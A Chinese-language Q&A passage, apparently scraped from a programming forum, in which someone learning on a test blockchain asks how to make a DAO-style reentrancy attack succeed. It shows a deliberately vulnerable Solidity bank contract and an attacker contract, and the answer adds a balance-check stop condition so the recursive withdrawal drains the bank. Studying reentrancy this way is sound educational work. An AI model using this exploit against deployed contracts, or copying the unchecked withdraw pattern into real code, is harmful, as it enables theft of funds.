Ethereum 以太坊如何执行DAO攻击?

Ethereum 以太坊如何执行DAO攻击?,ethereum,solidity,Ethereum,Solidity,我正在学习对我的测试区块链执行DAO攻击。但是,我不知道如何避免耗尽气体,因此事务总是被还原 合同如下: pragma solidity ^0.5.0; contract Bank{ // put money to the bank function deposit(){} function withdraw() public { msg.sender.call.value(10 ether)(""); } } contract Attack{

我正在学习对我的测试区块链执行DAO攻击。但是,我不知道如何避免耗尽气体,因此事务总是被还原

合同如下:

pragma solidity ^0.5.0;

contract Bank{
  // put money to the bank
  function deposit(){}

  function withdraw() public {
    msg.sender.call.value(10 ether)("");
  }
}

contract Attack{
  // setter is omitted
  Bank public bank;

  function () external payable {
    attack();
  }

  function attack() public {
    bank.withdraw();
  }
}

我使用的是Solidity 0.5.0,要求我只能修改攻击主体的回退函数,有人能告诉我如何解决这个问题吗?

这与任何其他递归函数一样-你需要创建一个停止条件,以阻止递归永远继续下去(或因本案ETH余额不足而未能执行)


假设您的
银行
合同有20个ETH。第一次执行发送10个ETH,第二次执行发送10个ETH,但第三次执行失败,因为它无法再发送10个ETH(它没有)

您可以通过更新
Attack
回退函数来修复它,该函数将检查
Bank
是否仍有10个ETH要发送。如果没有,则不会执行
Attack()
,并有效地停止递归

function () external payable {
    if (address(bank).balance >= 10 ether) {
        attack();
    }
}